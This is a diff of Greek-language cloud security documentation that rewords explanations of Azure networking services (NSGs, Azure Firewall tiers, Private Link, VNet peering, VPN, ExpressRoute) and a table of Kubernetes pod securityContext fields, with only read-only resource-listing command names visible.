- Ένας κανόνας εισερχόμενης κυκλοφορίας που επιτρέπει την κυκλοφορία HTTP (θύρα 80) από οποιαδήποτε πηγή στους διακομιστές ιστού σας.
|
||||
- Ένας κανόνας εξερχόμενης κυκλοφορίας που επιτρέπει μόνο την κυκλοφορία SQL (θύρα 1433) σε μια συγκεκριμένη περιοχή διευθύνσεων IP προορισμού.
|
||||
|
||||
### Αριθμητική
|
||||
### Αρίθμηση
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -95,15 +95,16 @@ Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName
|
||||
|
||||
Είναι διαθέσιμο σε τρία SKUs—**Basic**, **Standard** και **Premium**, το καθένα προσαρμοσμένο σε συγκεκριμένες ανάγκες πελατών:
|
||||
|
||||
| **Συνιστώμενη Χρήση** | Μικρές/Μεσαίες Επιχειρήσεις (SMBs) με περιορισμένες ανάγκες | Γενική χρήση από επιχειρήσεις, φιλτράρισμα Layer 3–7 | Πολύ ευαίσθητα περιβάλλοντα (π.χ., επεξεργασία πληρωμών) |
|
||||
| Κριτήρια/Χαρακτηριστικό | Επιλογή 1 | Επιλογή 2 | Επιλογή 3 |
|
||||
| ------------------------------ | ------------------------------------------------- | ------------------------------------------- | --------------------------------------------------------- |
|
||||
| **Απόδοση** | Έως 250 Mbps ροή | Έως 30 Gbps ροή | Έως 100 Gbps ροή |
|
||||
| **Πληροφορίες Απειλών** | Μόνο ειδοποιήσεις | Ειδοποιήσεις και αποκλεισμός (κακόβουλες IP/domains) | Ειδοποιήσεις και αποκλεισμός (προηγμένες πληροφορίες απειλών) |
|
||||
| **Φιλτράρισμα L3–L7** | Βασικό φιλτράρισμα | Stateful φιλτράρισμα σε πρωτόκολλα | Stateful φιλτράρισμα με προηγμένη επιθεώρηση |
|
||||
| **Προστασία από Προηγμένες Απειλές** | Μη διαθέσιμο | Φιλτράρισμα βασισμένο σε πληροφορίες απειλών | Περιλαμβάνει Σύστημα Ανίχνευσης και Πρόληψης Εισβολών (IDPS) |
|
||||
| **Επιθεώρηση TLS** | Μη διαθέσιμο | Μη διαθέσιμο | Υποστηρίζει τερματισμό TLS εισερχόμενης/εξερχόμενης κυκλοφορίας |
|
||||
| **Διαθεσιμότητα** | Σταθερό backend (2 VMs) | Αυτόματη κλιμάκωση | Αυτόματη κλιμάκωση |
|
||||
| **Ευκολία Διαχείρισης** | Βασικοί έλεγχοι | Διαχειριζόμενο μέσω Firewall Manager | Διαχειριζόμενο μέσω Firewall Manager |
|
||||
| **Συνιστώμενη Χρήση** | Μικρές/Μεσαίες Επιχειρήσεις (SMBs) με περιορισμένες ανάγκες | Γενική χρήση από επιχειρήσεις, φιλτράρισμα Layer 3–7 | Πολύ ευαίσθητα περιβάλλοντα (π.χ., επεξεργασία πληρωμών) |
|
||||
| **Απόδοση** | Έως 250 Mbps throughput | Έως 30 Gbps throughput | Έως 100 Gbps throughput |
|
||||
| **Ασφάλεια Απειλών** | Μόνο ειδοποιήσεις | Ειδοποιήσεις και αποκλεισμός (κακόβουλες IP/domains) | Ειδοποιήσεις και αποκλεισμός (προηγμένη ασφάλεια απειλών) |
|
||||
| **Φιλτράρισμα L3–L7** | Βασικό φιλτράρισμα | Stateful φιλτράρισμα σε όλα τα πρωτόκολλα | Stateful φιλτράρισμα με προηγμένη επιθεώρηση |
|
||||
| **Προηγμένη Προστασία Απειλών** | Μη διαθέσιμο | Φιλτράρισμα βασισμένο σε πληροφορίες απειλών | Περιλαμβάνει Σύστημα Ανίχνευσης και Πρόληψης Εισβολών (IDPS) |
|
||||
| **Επιθεώρηση TLS** | Μη διαθέσιμο | Μη διαθέσιμο | Υποστηρίζει τερματισμό TLS εισερχόμενης/εξερχόμενης κυκλοφορίας |
|
||||
| **Διαθεσιμότητα** | Σταθερό backend (2 VMs) | Αυτόματη κλιμάκωση | Αυτόματη κλιμάκωση |
|
||||
| **Ευκολία Διαχείρισης** | Βασικοί έλεγχοι | Διαχειριζόμενο μέσω Firewall Manager | Διαχειριζόμενο μέσω Firewall Manager |
|
||||
|
||||
### Enumeration
|
||||
|
||||
@@ -173,7 +174,7 @@ Get-AzRouteTable
|
||||
|
||||
Το Azure Private Link είναι μια υπηρεσία στο Azure που **επιτρέπει ιδιωτική πρόσβαση σε υπηρεσίες Azure** διασφαλίζοντας ότι **η κίνηση μεταξύ του εικονικού δικτύου Azure (VNet) σας και της υπηρεσίας διασχίζει αποκλειστικά το δίκτυο backbone της Microsoft Azure**. Ενσωματώνει αποτελεσματικά την υπηρεσία στο VNet σας. Αυτή η ρύθμιση ενισχύει την ασφάλεια, καθώς δεν εκθέτει τα δεδομένα στο δημόσιο διαδίκτυο.
|
||||
|
||||
Το Private Link μπορεί να χρησιμοποιηθεί με διάφορες υπηρεσίες Azure, όπως το Azure Storage, το Azure SQL Database και προσαρμοσμένες υπηρεσίες που μοιράζονται μέσω του Private Link. Παρέχει έναν ασφαλή τρόπο κατανάλωσης υπηρεσιών από το δικό σας VNet ή ακόμα και από διαφορετικές συνδρομές Azure.
|
||||
Το Private Link μπορεί να χρησιμοποιηθεί με διάφορες υπηρεσίες Azure, όπως το Azure Storage, το Azure SQL Database και προσαρμοσμένες υπηρεσίες που μοιράζονται μέσω του Private Link. Παρέχει έναν ασφαλή τρόπο κατανάλωσης υπηρεσιών από το δικό σας VNet ή ακόμη και από διαφορετικές συνδρομές Azure.
|
||||
|
||||
> [!CAUTION]
|
||||
> Τα NSGs δεν ισχύουν για ιδιωτικά endpoints, που σημαίνει σαφώς ότι η συσχέτιση ενός NSG με ένα υποδίκτυο που περιέχει το Private Link δεν θα έχει καμία επίδραση.
|
||||
@@ -211,7 +212,7 @@ Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, Private
|
||||
|
||||
**Παράδειγμα:**
|
||||
|
||||
Για παράδειγμα, ένας **λογαριασμός Azure Storage** είναι προσβάσιμος από προεπιλογή μέσω του δημόσιου διαδικτύου. Ενεργοποιώντας έναν **service endpoint για το Azure Storage εντός του VNet σας**, μπορείτε να διασφαλίσετε ότι μόνο η κίνηση από το VNet σας μπορεί να έχει πρόσβαση στον λογαριασμό αποθήκευσης. Το τείχος προστασίας του λογαριασμού αποθήκευσης μπορεί στη συνέχεια να ρυθμιστεί ώστε να δέχεται κίνηση μόνο από το VNet σας.
|
||||
Για παράδειγμα, ένας **λογαριασμός Azure Storage** είναι προσβάσιμος από προεπιλογή μέσω του δημόσιου διαδικτύου. Ενεργοποιώντας έναν **service endpoint για το Azure Storage εντός του VNet σας**, μπορείτε να διασφαλίσετε ότι μόνο η κίνηση από το VNet σας μπορεί να έχει πρόσβαση στον λογαριασμό αποθήκευσης. Ο τοίχος προστασίας του λογαριασμού αποθήκευσης μπορεί στη συνέχεια να ρυθμιστεί ώστε να δέχεται κίνηση μόνο από το VNet σας.
|
||||
|
||||
### **Enumeration**
|
||||
|
||||
@@ -246,7 +247,7 @@ Get-AzVirtualNetwork
|
||||
|
||||
- Η κίνηση από το VNet σας προς την υπηρεσία Azure ταξιδεύει μέσω του backbone δικτύου της Microsoft Azure, παρακάμπτοντας το δημόσιο διαδίκτυο.
|
||||
- Το endpoint είναι μια άμεση σύνδεση με την υπηρεσία Azure και δεν παρέχει ιδιωτική IP για την υπηρεσία εντός του VNet.
|
||||
- Η υπηρεσία είναι ακόμα προσβάσιμη μέσω του δημόσιου endpoint της από έξω από το VNet σας, εκτός αν ρυθμίσετε το firewall της υπηρεσίας να μπλοκάρει τέτοια κίνηση.
|
||||
- Η υπηρεσία είναι ακόμα προσβάσιμη μέσω του δημόσιου endpoint της από έξω από το VNet σας, εκτός αν ρυθμίσετε το firewall της υπηρεσίας για να αποκλείσει τέτοια κίνηση.
|
||||
- Είναι μια σχέση ένα προς ένα μεταξύ του υποδικτύου και της υπηρεσίας Azure.
|
||||
- Είναι λιγότερο ακριβό από τα Private Links.
|
||||
|
||||
@@ -254,8 +255,8 @@ Get-AzVirtualNetwork
|
||||
|
||||
- Το Private Link χαρτογραφεί τις υπηρεσίες Azure στο VNet σας μέσω ενός ιδιωτικού endpoint, το οποίο είναι μια διεπαφή δικτύου με μια ιδιωτική διεύθυνση IP εντός του VNet σας.
|
||||
- Η υπηρεσία Azure προσπελάζεται χρησιμοποιώντας αυτή την ιδιωτική διεύθυνση IP, κάνοντάς την να φαίνεται ότι είναι μέρος του δικτύου σας.
|
||||
- Οι υπηρεσίες που συνδέονται μέσω Private Link μπορούν να προσπελαστούν μόνο από το VNet σας ή συνδεδεμένα δίκτυα· δεν υπάρχει δημόσια πρόσβαση στο διαδίκτυο για την υπηρεσία.
|
||||
- Διευκολύνει μια ασφαλή σύνδεση με τις υπηρεσίες Azure ή τις δικές σας υπηρεσίες που φιλοξενούνται στην Azure, καθώς και μια σύνδεση με υπηρεσίες που μοιράζονται από άλλους.
|
||||
- Οι υπηρεσίες που συνδέονται μέσω Private Link μπορούν να προσπελαστούν μόνο από το VNet σας ή συνδεδεμένα δίκτυα. Δεν υπάρχει δημόσια πρόσβαση στο διαδίκτυο για την υπηρεσία.
|
||||
- Επιτρέπει μια ασφαλή σύνδεση με τις υπηρεσίες Azure ή τις δικές σας υπηρεσίες που φιλοξενούνται στην Azure, καθώς και μια σύνδεση με υπηρεσίες που μοιράζονται από άλλους.
|
||||
- Παρέχει πιο λεπτομερή έλεγχο πρόσβασης μέσω ενός ιδιωτικού endpoint στο VNet σας, σε αντίθεση με τον ευρύτερο έλεγχο πρόσβασης στο επίπεδο του υποδικτύου με τα service endpoints.
|
||||
|
||||
Συνοψίζοντας, ενώ και τα Service Endpoints και τα Private Links παρέχουν ασφαλή συνδεσιμότητα με τις υπηρεσίες Azure, **τα Private Links προσφέρουν υψηλότερο επίπεδο απομόνωσης και ασφάλειας διασφαλίζοντας ότι οι υπηρεσίες προσπελάζονται ιδιωτικά χωρίς να εκτίθενται στο δημόσιο διαδίκτυο**. Τα Service Endpoints, από την άλλη πλευρά, είναι πιο εύκολα στην εγκατάσταση για γενικές περιπτώσεις όπου απαιτείται απλή, ασφαλής πρόσβαση στις υπηρεσίες Azure χωρίς την ανάγκη για ιδιωτική IP στο VNet.
|
||||
@@ -295,11 +296,11 @@ Get-AzFrontDoorWafPolicy -Name <policyName> -ResourceGroupName <resourceGroupNam
|
||||
|
||||
## Azure Application Gateway και Azure Application Gateway WAF
|
||||
|
||||
Azure Application Gateway είναι ένας **ισοσταθμιστής φορτίου διαδικτυακής κίνησης** που σας επιτρέπει να διαχειρίζεστε την κίνηση προς τις **ιστοσελίδες** σας. Προσφέρει **ισοστάθμιση φορτίου επιπέδου 7, τερματισμό SSL και δυνατότητες τείχους προστασίας εφαρμογών ιστού (WAF)** στον Ελεγκτή Παράδοσης Εφαρμογών (ADC) ως υπηρεσία. Τα κύρια χαρακτηριστικά περιλαμβάνουν δρομολόγηση βάσει URL, προσκόλληση συνεδρίας βάσει cookie και αποφόρτιση ασφαλών υποδοχών (SSL), τα οποία είναι κρίσιμα για εφαρμογές που απαιτούν σύνθετες δυνατότητες ισοστάθμισης φορτίου όπως η παγκόσμια δρομολόγηση και η δρομολόγηση βάσει διαδρομής.
|
||||
Azure Application Gateway είναι ένας **ισοσταθμιστής φόρτου διαδικτυακής κυκλοφορίας** που σας επιτρέπει να διαχειρίζεστε την κυκλοφορία προς τις **ιστοσελίδες** σας. Προσφέρει **ισοστάθμιση φόρτου επιπέδου 7, τερματισμό SSL και δυνατότητες τείχους προστασίας εφαρμογών ιστού (WAF)** στον Ελεγκτή Παράδοσης Εφαρμογών (ADC) ως υπηρεσία. Τα κύρια χαρακτηριστικά περιλαμβάνουν δρομολόγηση βάσει URL, προσκόλληση συνεδρίας βάσει cookie και αποφόρτιση επιπέδου ασφαλών υποδοχών (SSL), τα οποία είναι κρίσιμα για εφαρμογές που απαιτούν σύνθετες δυνατότητες ισοστάθμισης φόρτου όπως η παγκόσμια δρομολόγηση και η δρομολόγηση βάσει διαδρομής.
|
||||
|
||||
**Παράδειγμα:**
|
||||
|
||||
Σκεφτείτε ένα σενάριο όπου έχετε μια ιστοσελίδα ηλεκτρονικού εμπορίου που περιλαμβάνει πολλαπλά υποτομείς για διαφορετικές λειτουργίες, όπως λογαριασμούς χρηστών και επεξεργασία πληρωμών. Azure Application Gateway μπορεί να **δρομολογήσει την κίνηση στους κατάλληλους διακομιστές ιστού βάσει της διαδρομής URL**. Για παράδειγμα, η κίνηση προς το `example.com/accounts` θα μπορούσε να κατευθυνθεί στην υπηρεσία λογαριασμών χρηστών, και η κίνηση προς το `example.com/pay` θα μπορούσε να κατευθυνθεί στην υπηρεσία επεξεργασίας πληρωμών.\
|
||||
Σκεφτείτε ένα σενάριο όπου έχετε μια ιστοσελίδα ηλεκτρονικού εμπορίου που περιλαμβάνει πολλαπλά υποτομείς για διαφορετικές λειτουργίες, όπως λογαριασμούς χρηστών και επεξεργασία πληρωμών. Το Azure Application Gateway μπορεί να **δρομολογήσει την κυκλοφορία στους κατάλληλους διακομιστές ιστού βάσει της διαδρομής URL**. Για παράδειγμα, η κυκλοφορία προς το `example.com/accounts` θα μπορούσε να κατευθυνθεί στην υπηρεσία λογαριασμών χρηστών, και η κυκλοφορία προς το `example.com/pay` θα μπορούσε να κατευθυνθεί στην υπηρεσία επεξεργασίας πληρωμών.\
|
||||
Και **να προστατεύσετε την ιστοσελίδα σας από επιθέσεις χρησιμοποιώντας τις δυνατότητες WAF.**
|
||||
|
||||
### **Αριθμητική**
|
||||
@@ -324,13 +325,13 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
|
||||
**VNet Peering** είναι μια δυνατότητα δικτύωσης στο Azure που **επιτρέπει σε διαφορετικά Εικονικά Δίκτυα (VNets) να συνδέονται άμεσα και χωρίς προβλήματα**. Μέσω του VNet peering, οι πόροι σε ένα VNet μπορούν να επικοινωνούν με πόρους σε άλλο VNet χρησιμοποιώντας ιδιωτικές διευθύνσεις IP, **σαν να βρίσκονταν στο ίδιο δίκτυο**.\
|
||||
**Το VNet Peering μπορεί επίσης να χρησιμοποιηθεί με τοπικά δίκτυα** ρυθμίζοντας ένα site-to-site VPN ή Azure ExpressRoute.
|
||||
|
||||
**Azure Hub and Spoke** είναι μια τοπολογία δικτύου που χρησιμοποιείται στο Azure για τη διαχείριση και οργάνωση της κυκλοφορίας δικτύου. **Ο "κόμβος" είναι ένα κεντρικό σημείο που ελέγχει και δρομολογεί την κυκλοφορία μεταξύ διαφορετικών "ακτίνων"**. Ο κόμβος περιέχει συνήθως κοινές υπηρεσίες όπως εικονικές συσκευές δικτύου (NVAs), Azure VPN Gateway, Azure Firewall ή Azure Bastion. Οι **"ακτίνες" είναι VNets που φιλοξενούν φορτία εργασίας και συνδέονται με τον κόμβο χρησιμοποιώντας VNet peering**, επιτρέποντάς τους να εκμεταλλεύονται τις κοινές υπηρεσίες εντός του κόμβου. Αυτό το μοντέλο προάγει μια καθαρή διάταξη δικτύου, μειώνοντας την πολυπλοκότητα κεντροποιώντας κοινές υπηρεσίες που μπορούν να χρησιμοποιηθούν από πολλαπλά φορτία εργασίας σε διαφορετικά VNets.
|
||||
**Azure Hub and Spoke** είναι μια τοπολογία δικτύου που χρησιμοποιείται στο Azure για τη διαχείριση και οργάνωση της κυκλοφορίας δικτύου. **Ο "κόμβος" είναι ένα κεντρικό σημείο που ελέγχει και δρομολογεί την κυκλοφορία μεταξύ διαφορετικών "ακτίνων"**. Ο κόμβος περιέχει συνήθως κοινές υπηρεσίες όπως εικονικές συσκευές δικτύου (NVAs), Azure VPN Gateway, Azure Firewall ή Azure Bastion. Οι **"ακτίνες" είναι VNets που φιλοξενούν φορτία εργασίας και συνδέονται με τον κόμβο χρησιμοποιώντας VNet peering**, επιτρέποντάς τους να εκμεταλλεύονται τις κοινές υπηρεσίες εντός του κόμβου. Αυτό το μοντέλο προάγει μια καθαρή διάταξη δικτύου, μειώνοντας την πολυπλοκότητα κεντροποιώντας κοινές υπηρεσίες που μπορούν να χρησιμοποιήσουν πολλαπλά φορτία εργασίας σε διαφορετικά VNets.
|
||||
|
||||
> [!CAUTION] > **Η σύνδεση VNET είναι μη μεταβατική στο Azure**, που σημαίνει ότι αν η ακτίνα 1 είναι συνδεδεμένη με την ακτίνα 2 και η ακτίνα 2 είναι συνδεδεμένη με την ακτίνα 3, τότε η ακτίνα 1 δεν μπορεί να μιλήσει απευθείας με την ακτίνα 3.
|
||||
> [!CAUTION] > **Η ζεύξη VNET είναι μη μεταβατική στο Azure**, που σημαίνει ότι αν η ακτίνα 1 είναι συνδεδεμένη με την ακτίνα 2 και η ακτίνα 2 είναι συνδεδεμένη με την ακτίνα 3, τότε η ακτίνα 1 δεν μπορεί να μιλήσει απευθείας με την ακτίνα 3.
|
||||
|
||||
**Παράδειγμα:**
|
||||
|
||||
Φανταστείτε μια εταιρεία με ξεχωριστά τμήματα όπως Πωλήσεις, Ανθρώπινοι Πόροι και Ανάπτυξη, **κάθε ένα με το δικό του VNet (οι ακτίνες)**. Αυτά τα VNets **χρειάζονται πρόσβαση σε κοινόχρηστους πόρους** όπως μια κεντρική βάση δεδομένων, ένα τείχος προστασίας και μια πύλη στο διαδίκτυο, οι οποίοι βρίσκονται όλοι σε **ένα άλλο VNet (τον κόμβο)**. Χρησιμοποιώντας το μοντέλο Hub and Spoke, κάθε τμήμα μπορεί να **συνδεθεί με ασφάλεια στους κοινόχρηστους πόρους μέσω του VNet του κόμβου χωρίς να εκθέτει αυτούς τους πόρους στο δημόσιο διαδίκτυο** ή να δημιουργεί μια περίπλοκη δομή δικτύου με πολλές συνδέσεις.
|
||||
Φανταστείτε μια εταιρεία με ξεχωριστά τμήματα όπως Πωλήσεις, Ανθρώπινοι Πόροι και Ανάπτυξη, **κάθε ένα με το δικό του VNet (οι ακτίνες)**. Αυτά τα VNets **χρειάζονται πρόσβαση σε κοινόχρηστους πόρους** όπως μια κεντρική βάση δεδομένων, ένα τείχος προστασίας και μια πύλη στο διαδίκτυο, οι οποίοι βρίσκονται όλοι σε **ένα άλλο VNet (ο κόμβος)**. Χρησιμοποιώντας το μοντέλο Hub and Spoke, κάθε τμήμα μπορεί να **συνδεθεί με ασφάλεια στους κοινόχρηστους πόρους μέσω του VNet του κόμβου χωρίς να εκθέτει αυτούς τους πόρους στο δημόσιο διαδίκτυο** ή να δημιουργεί μια περίπλοκη δομή δικτύου με πολλές συνδέσεις.
|
||||
|
||||
### Enumeration
|
||||
|
||||
@@ -363,7 +364,7 @@ Get-AzFirewall
|
||||
|
||||
## Site-to-Site VPN
|
||||
|
||||
Ένα Site-to-Site VPN στο Azure σας επιτρέπει να **συνδέσετε το τοπικό σας δίκτυο με το Azure Virtual Network (VNet)**, επιτρέποντας στους πόρους όπως οι VMs μέσα στο Azure να φαίνονται σαν να είναι στο τοπικό σας δίκτυο. Αυτή η σύνδεση καθορίζεται μέσω ενός **VPN gateway που κρυπτογραφεί την κίνηση** μεταξύ των δύο δικτύων.
|
||||
Ένα Site-to-Site VPN στο Azure σας επιτρέπει να **συνδέσετε το τοπικό σας δίκτυο με το Azure Virtual Network (VNet)**, επιτρέποντας στους πόρους όπως οι VMs εντός του Azure να φαίνονται σαν να είναι στο τοπικό σας δίκτυο. Αυτή η σύνδεση καθορίζεται μέσω ενός **VPN gateway που κρυπτογραφεί την κίνηση** μεταξύ των δύο δικτύων.
|
||||
|
||||
**Παράδειγμα:**
|
||||
|
||||
@@ -394,11 +395,11 @@ Get-AzVirtualNetworkGatewayConnection -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
## Azure ExpressRoute
|
||||
|
||||
Το Azure ExpressRoute είναι μια υπηρεσία που παρέχει μια **ιδιωτική, αφιερωμένη, υψηλής ταχύτητας σύνδεση μεταξύ της υποδομής σας και των κέντρων δεδομένων του Azure**. Αυτή η σύνδεση γίνεται μέσω ενός παρόχου συνδεσιμότητας, παρακάμπτοντας το δημόσιο διαδίκτυο και προσφέροντας περισσότερη αξιοπιστία, ταχύτερες ταχύτητες, χαμηλότερες καθυστερήσεις και υψηλότερη ασφάλεια από τις τυπικές συνδέσεις στο διαδίκτυο.
|
||||
Azure ExpressRoute είναι μια υπηρεσία που παρέχει μια **ιδιωτική, αφιερωμένη, υψηλής ταχύτητας σύνδεση μεταξύ της υποδομής σας και των κέντρων δεδομένων Azure**. Αυτή η σύνδεση γίνεται μέσω ενός παρόχου συνδεσιμότητας, παρακάμπτοντας το δημόσιο διαδίκτυο και προσφέροντας περισσότερη αξιοπιστία, ταχύτερες ταχύτητες, χαμηλότερες καθυστερήσεις και υψηλότερη ασφάλεια από τις τυπικές συνδέσεις στο διαδίκτυο.
|
||||
|
||||
**Παράδειγμα:**
|
||||
|
||||
Μια πολυεθνική εταιρεία απαιτεί μια **σταθερή και αξιόπιστη σύνδεση με τις υπηρεσίες Azure λόγω του υψηλού όγκου δεδομένων** και της ανάγκης για υψηλή απόδοση. Η εταιρεία επιλέγει το Azure ExpressRoute για να συνδέσει απευθείας το κέντρο δεδομένων της με το Azure, διευκολύνοντας τις μεγάλες μεταφορές δεδομένων, όπως οι καθημερινές εφεδρικές αντιγράφες και η ανάλυση δεδομένων σε πραγματικό χρόνο, με ενισχυμένη ιδιωτικότητα και ταχύτητα.
|
||||
Μια πολυεθνική εταιρεία απαιτεί μια **σταθερή και αξιόπιστη σύνδεση με τις υπηρεσίες Azure λόγω του υψηλού όγκου δεδομένων** και της ανάγκης για υψηλή απόδοση. Η εταιρεία επιλέγει το Azure ExpressRoute για να συνδέσει απευθείας το κέντρο δεδομένων της με το Azure, διευκολύνοντας τις μεταφορές μεγάλου όγκου δεδομένων, όπως καθημερινά αντίγραφα ασφαλείας και αναλύσεις δεδομένων σε πραγματικό χρόνο, με ενισχυμένη ιδιωτικότητα και ταχύτητα.
|
||||
|
||||
### **Enumeration**
|
||||
|
||||
|
||||
@@ -10,47 +10,48 @@
|
||||
|
||||
- Να έχετε **runASNonRoot** ως **True**
|
||||
- Να ρυθμίσετε **runAsUser**
|
||||
- Αν είναι δυνατόν, εξετάστε το **περιορισμό** των **δικαιωμάτων** υποδεικνύοντας **seLinuxOptions** και **seccompProfile**
|
||||
- Εάν είναι δυνατόν, εξετάστε το ενδεχόμενο **περιορισμού** των **δικαιωμάτων** υποδεικνύοντας **seLinuxOptions** και **seccompProfile**
|
||||
- Μην δίνετε **privilege** **group** πρόσβαση μέσω **runAsGroup** και **supplementaryGroups**
|
||||
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | <p>Μια ειδική συμπληρωματική ομάδα που εφαρμόζεται σε <strong>όλα τα κοντέινερ σε ένα pod</strong>. Ορισμένοι τύποι όγκων επιτρέπουν στον Kubelet να <strong>αλλάξει την ιδιοκτησία αυτού του όγκου</strong> ώστε να ανήκει στο pod:<br>1. Η ιδιοκτησία GID θα είναι η FSGroup<br>2. Το bit setgid είναι ρυθμισμένο (τα νέα αρχεία που δημιουργούνται στον όγκο θα ανήκουν στη FSGroup)<br>3. Τα δικαιώματα είναι OR'd με rw-rw---- Αν δεν ρυθμιστεί, ο Kubelet δεν θα τροποποιήσει την ιδιοκτησία και τα δικαιώματα οποιουδήποτε όγκου</p> |
|
||||
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| Παράμετρος | Περιγραφή |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | <p>Μια ειδική συμπληρωματική ομάδα που εφαρμόζεται σε <strong>όλα τα κοντέινερ σε ένα pod</strong>. Ορισμένοι τύποι όγκων επιτρέπουν στον Kubelet να <strong>αλλάξει την ιδιοκτησία αυτού του όγκου</strong> ώστε να ανήκει στο pod:<br>1. Η ιδιοκτησία GID θα είναι το FSGroup<br>2. Το setgid bit είναι ρυθμισμένο (τα νέα αρχεία που δημιουργούνται στον όγκο θα ανήκουν στο FSGroup)<br>3. Τα δικαιώματα είναι OR'd με rw-rw---- Εάν δεν ρυθμιστεί, ο Kubelet δεν θα τροποποιήσει την ιδιοκτησία και τα δικαιώματα οποιουδήποτε όγκου</p> |
|
||||
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroupChangePolicy</strong></a><br><em>string</em></p> | Αυτό καθορίζει τη συμπεριφορά της **αλλαγής ιδιοκτησίας και δικαιωμάτων του όγκου** πριν εκτεθεί μέσα στο Pod. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | Η **GID για να εκτελέσει το entrypoint της διαδικασίας του κοντέινερ**. Χρησιμοποιεί την προεπιλεγμένη ρύθμιση χρόνου εκτέλεσης αν δεν ρυθμιστεί. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | Υποδεικνύει ότι το κοντέινερ πρέπει να εκτελείται ως μη ρίζα χρήστη. Αν είναι αληθές, ο Kubelet θα επικυρώσει την εικόνα κατά τη διάρκεια της εκτέλεσης για να διασφαλίσει ότι δεν εκτελείται ως UID 0 (root) και θα αποτύχει να ξεκινήσει το κοντέινερ αν το κάνει. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | Η **UID για να εκτελέσει το entrypoint της διαδικασίας του κοντέινερ**. Προεπιλογή είναι ο χρήστης που καθορίζεται στα μεταδεδομένα της εικόνας αν δεν καθοριστεί. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>Περισσότερες πληροφορίες σχετικά με</em> <em><strong>seLinux</strong></em></p> | Το **SELinux context που θα εφαρμοστεί σε όλα τα κοντέινερ**. Αν δεν καθοριστεί, ο χρόνος εκτέλεσης του κοντέινερ θα εκχωρήσει ένα τυχαίο SELinux context για κάθε κοντέινερ. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | Το **GID για να εκτελέσει το entrypoint της διαδικασίας του κοντέινερ**. Χρησιμοποιεί την προεπιλεγμένη ρύθμιση χρόνου εκτέλεσης εάν δεν ρυθμιστεί. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | Υποδεικνύει ότι το κοντέινερ πρέπει να εκτελείται ως μη ριζικός χρήστης. Εάν είναι αληθές, ο Kubelet θα επικυρώσει την εικόνα κατά τη διάρκεια της εκτέλεσης για να διασφαλίσει ότι δεν εκτελείται ως UID 0 (root) και θα αποτύχει να ξεκινήσει το κοντέινερ εάν το κάνει. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | Το **UID για να εκτελέσει το entrypoint της διαδικασίας του κοντέινερ**. Προεπιλογή είναι ο χρήστης που καθορίζεται στα μεταδεδομένα της εικόνας εάν δεν καθοριστεί. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>Περισσότερες πληροφορίες σχετικά με</em> <em><strong>seLinux</strong></em></p> | Το **SELinux context που θα εφαρμοστεί σε όλα τα κοντέινερ**. Εάν δεν καθοριστεί, ο χρόνος εκτέλεσης του κοντέινερ θα εκχωρήσει ένα τυχαίο SELinux context για κάθε κοντέινερ. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a><br><em>Περισσότερες πληροφορίες σχετικά με</em> <em><strong>Seccomp</strong></em></p> | Οι **seccomp επιλογές που θα χρησιμοποιηθούν από τα κοντέινερ** σε αυτό το pod. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>supplementalGroups</strong></a><br><em>integer array</em></p> | Μια λίστα με **ομάδες που εφαρμόζονται στη διαδικασία που εκτελείται πρώτη σε κάθε κοντέινερ**, εκτός από την κύρια GID του κοντέινερ. |
|
||||
